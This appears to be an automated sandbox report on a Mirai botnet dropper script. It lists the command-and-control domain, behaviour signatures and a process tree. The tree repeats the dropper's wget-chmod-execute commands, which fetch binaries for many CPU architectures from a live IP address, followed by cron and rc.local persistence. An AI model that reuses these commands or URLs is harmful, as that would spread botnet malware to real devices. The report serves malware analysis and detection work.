Analysis

  • max time kernel
    132s
  • max time network
    103s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2026, 00:57

General

  • Target
    0cac28cc7f788074afad9190818503f3a5b5c0033a68d2b3281b130a5bfa3e21
  • Size 4KB
  • Sample261027-ba6txsav7n
  • SHA256 0cac28cc7f788074afad9190818503f3a5b5c0033a68d2b3281b130a5bfa3e21
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • DEMONS

C2
  • t2.api-microsoft.kdns.fr

Extracted

Family
  • mirai

Botnet
  • DEMONS

Extracted

Family
  • mirai

Botnet
  • DEMONS

C2
  • t2.api-microsoft.kdns.fr

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 3 IoCs
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Writes file to system bin folder 3 IoCs
  • Changes its process name 3 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/0cac28cc7f788074afad9190818503f3a5b5c0033a68d2b3281b130a5bfa3e21
    /tmp/0cac28cc7f788074afad9190818503f3a5b5c0033a68d2b3281b130a5bfa3e21
    1⤵
    • Modifies rc script
    PID:643
    • /bin/rm
      rm -f wq1
      2⤵
        PID:644
      • /usr/bin/wget
        wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.arm7
        2⤵
        • Writes file to tmp directory
        PID:647
      • /bin/chmod
        chmod 777 wq1
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /bin/sleep
        sleep 1
        2⤵
          PID:674
        • /usr/bin/setsid
          setsid ./wq1 w1.arm7
          2⤵
          • Executes dropped EXE
          PID:673
        • /tmp/wq1
          ./wq1 w1.arm7
          2⤵
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Changes its process name
          PID:673
        • /bin/rm
          rm -f wq1
          2⤵
            PID:687
          • /usr/bin/wget
            wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.arm6
            2⤵
            • Writes file to tmp directory
            PID:688
          • /bin/chmod
            chmod 777 wq1
            2⤵
            • File and Directory Permissions Modification
            PID:708
          • /bin/sleep
            sleep 1
            2⤵
              PID:712
            • /usr/bin/setsid
              setsid ./wq1 w1.arm6
              2⤵
              • Executes dropped EXE
              PID:711
            • /tmp/wq1
              ./wq1 w1.arm6
              2⤵
                PID:711
              • /bin/rm
                rm -f wq1
                2⤵
                  PID:727
                • /usr/bin/wget
                  wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:728
                • /bin/chmod
                  chmod 777 wq1
                  2⤵
                  • File and Directory Permissions Modification
                  PID:729
                • /bin/sleep
                  sleep 1
                  2⤵
                    PID:731
                  • /usr/bin/setsid
                    setsid ./wq1 w1.arm5
                    2⤵
                    • Executes dropped EXE
                    PID:730
                  • /tmp/wq1
                    ./wq1 w1.arm5
                    2⤵
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Writes file to system bin folder
                    • Changes its process name
                    • Reads system network configuration
                    PID:730
                  • /bin/rm
                    rm -f wq1
                    2⤵
                      PID:760
                    • /usr/bin/wget
                      wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:762
                    • /bin/chmod
                      chmod 777 wq1
                      2⤵
                      • File and Directory Permissions Modification
                      PID:764
                    • /bin/sleep
                      sleep 1
                      2⤵
                        PID:766
                      • /usr/bin/setsid
                        setsid ./wq1 w1.mpsl
                        2⤵
                        • Executes dropped EXE
                        PID:765
                      • /tmp/wq1
                        ./wq1 w1.mpsl
                        2⤵
                          PID:765
                        • /bin/sh
                          /bin/sh ./wq1 w1.mpsl
                          2⤵
                            PID:765
                          • /bin/rm
                            rm -f wq1
                            2⤵
                              PID:768
                            • /usr/bin/wget
                              wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.mips
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:769
                            • /bin/chmod
                              chmod 777 wq1
                              2⤵
                              • File and Directory Permissions Modification
                              PID:772
                            • /bin/sleep
                              sleep 1
                              2⤵
                                PID:774
                              • /usr/bin/setsid
                                setsid ./wq1 w1.mips
                                2⤵
                                • Executes dropped EXE
                                • System Network Configuration Discovery
                                PID:773
                              • /tmp/wq1
                                ./wq1 w1.mips
                                2⤵
                                • System Network Configuration Discovery
                                PID:773
                              • /bin/sh
                                /bin/sh ./wq1 w1.mips
                                2⤵
                                • System Network Configuration Discovery
                                PID:773
                              • /bin/rm
                                rm -f wq1
                                2⤵
                                  PID:776
                                • /usr/bin/wget
                                  wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.x86_64
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:777
                                • /bin/chmod
                                  chmod 777 wq1
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:780
                                • /bin/sleep
                                  sleep 1
                                  2⤵
                                    PID:782
                                  • /usr/bin/setsid
                                    setsid ./wq1 w1.x86_64
                                    2⤵
                                    • Executes dropped EXE
                                    PID:781
                                  • /tmp/wq1
                                    ./wq1 w1.x86_64
                                    2⤵
                                      PID:781
                                    • /bin/sh
                                      /bin/sh ./wq1 w1.x86_64
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:781
                                      • /tmp/@@0+0+00Q0Q���Q�tdH���_�J�H��À=�=UH��t�8�H��H�-/��H�$/H�H��u��H��t
                                        "@@0+0+00Q0Q���Q�tdH���_�J�H��À=�=UH��t�8�H��H�-/��H�\$/H�H��u��H��t"
                                        3⤵
                                          PID:784
                                      • /bin/rm
                                        rm -f wq1
                                        2⤵
                                          PID:785
                                        • /usr/bin/wget
                                          wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.sh4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:786
                                        • /bin/chmod
                                          chmod 777 wq1
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:787
                                        • /bin/sleep
                                          sleep 1
                                          2⤵
                                            PID:789
                                          • /usr/bin/setsid
                                            setsid ./wq1 w1.sh4
                                            2⤵
                                            • Executes dropped EXE
                                            PID:788
                                          • /tmp/wq1
                                            ./wq1 w1.sh4
                                            2⤵
                                              PID:788
                                            • /bin/sh
                                              /bin/sh ./wq1 w1.sh4
                                              2⤵
                                                PID:788
                                              • /bin/rm
                                                rm -f wq1
                                                2⤵
                                                  PID:791
                                                • /usr/bin/wget
                                                  wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.x86
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:792
                                                • /bin/chmod
                                                  chmod 777 wq1
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:793
                                                • /bin/sleep
                                                  sleep 1
                                                  2⤵
                                                    PID:795
                                                  • /usr/bin/setsid
                                                    setsid ./wq1 w1.x86
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:794
                                                  • /tmp/wq1
                                                    ./wq1 w1.x86
                                                    2⤵
                                                      PID:794
                                                    • /bin/sh
                                                      /bin/sh ./wq1 w1.x86
                                                      2⤵
                                                        PID:794
                                                      • /bin/rm
                                                        rm -f wq1
                                                        2⤵
                                                          PID:797
                                                        • /usr/bin/wget
                                                          wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.ppc
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:798
                                                        • /bin/chmod
                                                          chmod 777 wq1
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:799
                                                        • /bin/sleep
                                                          sleep 1
                                                          2⤵
                                                            PID:801
                                                          • /usr/bin/setsid
                                                            setsid ./wq1 w1.ppc
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:800
                                                          • /tmp/wq1
                                                            ./wq1 w1.ppc
                                                            2⤵
                                                              PID:800
                                                            • /bin/sh
                                                              /bin/sh ./wq1 w1.ppc
                                                              2⤵
                                                                PID:800
                                                              • /bin/rm
                                                                rm -f wq1
                                                                2⤵
                                                                  PID:803
                                                                • /usr/bin/wget
                                                                  wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.m68k
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:804
                                                                • /bin/chmod
                                                                  chmod 777 wq1
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:807
                                                                • /usr/bin/setsid
                                                                  setsid ./wq1 w1.m68k
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:808
                                                                • /bin/sleep
                                                                  sleep 1
                                                                  2⤵
                                                                    PID:809
                                                                  • /tmp/wq1
                                                                    ./wq1 w1.m68k
                                                                    2⤵
                                                                      PID:808
                                                                    • /bin/sh
                                                                      /bin/sh ./wq1 w1.m68k
                                                                      2⤵
                                                                        PID:808
                                                                      • /bin/rm
                                                                        rm -f wq1
                                                                        2⤵
                                                                          PID:811
                                                                        • /usr/bin/wget
                                                                          wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.spc
                                                                          2⤵
                                                                          • Writes file to tmp directory
                                                                          PID:812
                                                                        • /bin/chmod
                                                                          chmod 777 wq1
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:813
                                                                        • /bin/sleep
                                                                          sleep 1
                                                                          2⤵
                                                                            PID:815
                                                                          • /usr/bin/setsid
                                                                            setsid ./wq1 w1.spc
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            PID:814
                                                                          • /tmp/wq1
                                                                            ./wq1 w1.spc
                                                                            2⤵
                                                                              PID:814
                                                                            • /bin/sh
                                                                              /bin/sh ./wq1 w1.spc
                                                                              2⤵
                                                                                PID:814
                                                                              • /bin/rm
                                                                                rm -f wq1
                                                                                2⤵
                                                                                  PID:817
                                                                                • /usr/bin/wget
                                                                                  wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.arm
                                                                                  2⤵
                                                                                  • Writes file to tmp directory
                                                                                  PID:818
                                                                                • /bin/chmod
                                                                                  chmod 777 wq1
                                                                                  2⤵
                                                                                  • File and Directory Permissions Modification
                                                                                  PID:819
                                                                                • /bin/sleep
                                                                                  sleep 1
                                                                                  2⤵
                                                                                    PID:821
                                                                                  • /usr/bin/setsid
                                                                                    setsid ./wq1 w1.arm
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:820
                                                                                  • /tmp/wq1
                                                                                    ./wq1 w1.arm
                                                                                    2⤵
                                                                                    • Modifies Watchdog functionality
                                                                                    • Enumerates active TCP sockets
                                                                                    • Writes file to system bin folder
                                                                                    • Changes its process name
                                                                                    • Reads system network configuration
                                                                                    PID:820
                                                                                  • /bin/rm
                                                                                    rm -f wq1
                                                                                    2⤵
                                                                                      PID:822
                                                                                    • /usr/bin/wget
                                                                                      wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.ppc440
                                                                                      2⤵
                                                                                      • Writes file to tmp directory
                                                                                      PID:823
                                                                                    • /bin/chmod
                                                                                      chmod 777 wq1
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:824
                                                                                    • /bin/sleep
                                                                                      sleep 1
                                                                                      2⤵
                                                                                        PID:826
                                                                                      • /usr/bin/setsid
                                                                                        setsid ./wq1 w1.ppc440
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:825
                                                                                      • /tmp/wq1
                                                                                        ./wq1 w1.ppc440
                                                                                        2⤵
                                                                                          PID:825
                                                                                        • /bin/sh
                                                                                          /bin/sh ./wq1 w1.ppc440
                                                                                          2⤵
                                                                                            PID:825
                                                                                          • /bin/rm
                                                                                            rm -f wq1
                                                                                            2⤵
                                                                                              PID:828
                                                                                            • /usr/bin/wget
                                                                                              wget -T 8 -q -O wq1 http://146.190.102.83/t2r/w1.arc
                                                                                              2⤵
                                                                                              • Writes file to tmp directory
                                                                                              PID:829
                                                                                            • /bin/chmod
                                                                                              chmod 777 wq1
                                                                                              2⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:830
                                                                                            • /bin/rm
                                                                                              rm -f wq1
                                                                                              2⤵
                                                                                                PID:832
                                                                                              • /usr/bin/setsid
                                                                                                setsid ./wq1 w1.arc
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:831
                                                                                              • /tmp/wq1
                                                                                                ./wq1 w1.arc
                                                                                                2⤵
                                                                                                  PID:831
                                                                                                • /usr/bin/crontab
                                                                                                  crontab -
                                                                                                  2⤵
                                                                                                  • Creates/modifies Cron job
                                                                                                  • Reads runtime system information
                                                                                                  PID:835
                                                                                                • /usr/bin/crontab
                                                                                                  crontab -l
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:836

                                                                                              Network

                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                    Replay Monitor

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                                                                                                    Downloads

                                                                                                    rc.local

                                                                                                    • Path /etc/rc.local
                                                                                                    • Size 273B
                                                                                                    • SHA256 4c127c89ef9e711275940d56b14bec34f5d9d5f1f84ea6d9fa65e224974f9c86
                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                    wq1

                                                                                                    • Path /tmp/wq1
                                                                                                    • Size 180KB
                                                                                                    • SHA256 dd8e50628954803931db67a2e04af24735b0e145313b3a8d649e087b16d93cb8
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    wq1

                                                                                                    • Path /tmp/wq1
                                                                                                    • Size 98KB
                                                                                                    • SHA256 4739f88ba7a14b8b30f34a6ff0d6e982ba65de082313dbc3f93b76cbeebfe50b
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    wq1

                                                                                                    • Path /tmp/wq1
                                                                                                    • Size 83KB
                                                                                                    • SHA256 dc6b0133e6122e7e108d1646f300f9db9a0504d22db56fd658cebf7ec3186ce4
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    wq1

                                                                                                    • Path /tmp/wq1
                                                                                                    • Size 105KB
                                                                                                    • SHA256 0bbadf2630404d2aba0688e84e5408bc4d28d2090d15ed53b32fdd0ed068211a
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    wq1

                                                                                                    • Path /tmp/wq1
                                                                                                    • Size 103KB
                                                                                                    • SHA256 84589cf95519be75cf318c8711df48975df2bea85934153a431863e792019fd3
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    wq1

                                                                                                    • Path /tmp/wq1
                                                                                                    • Size 122KB
                                                                                                    • SHA256 5747dfc84d53e63262c715869cad285ad39354f9d38a195e47398ebebd5c7c2f
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    tmp.OdBnFu

                                                                                                    • Path /var/spool/cron/crontabs/tmp.OdBnFu
                                                                                                    • Size 459B
                                                                                                    • SHA256 fb72a23a107953eac42bc966edae09727d40a3a92d0d45255187c6f76b061a79
                                                                                                    • MD5 SHA1 SHA512 TLSH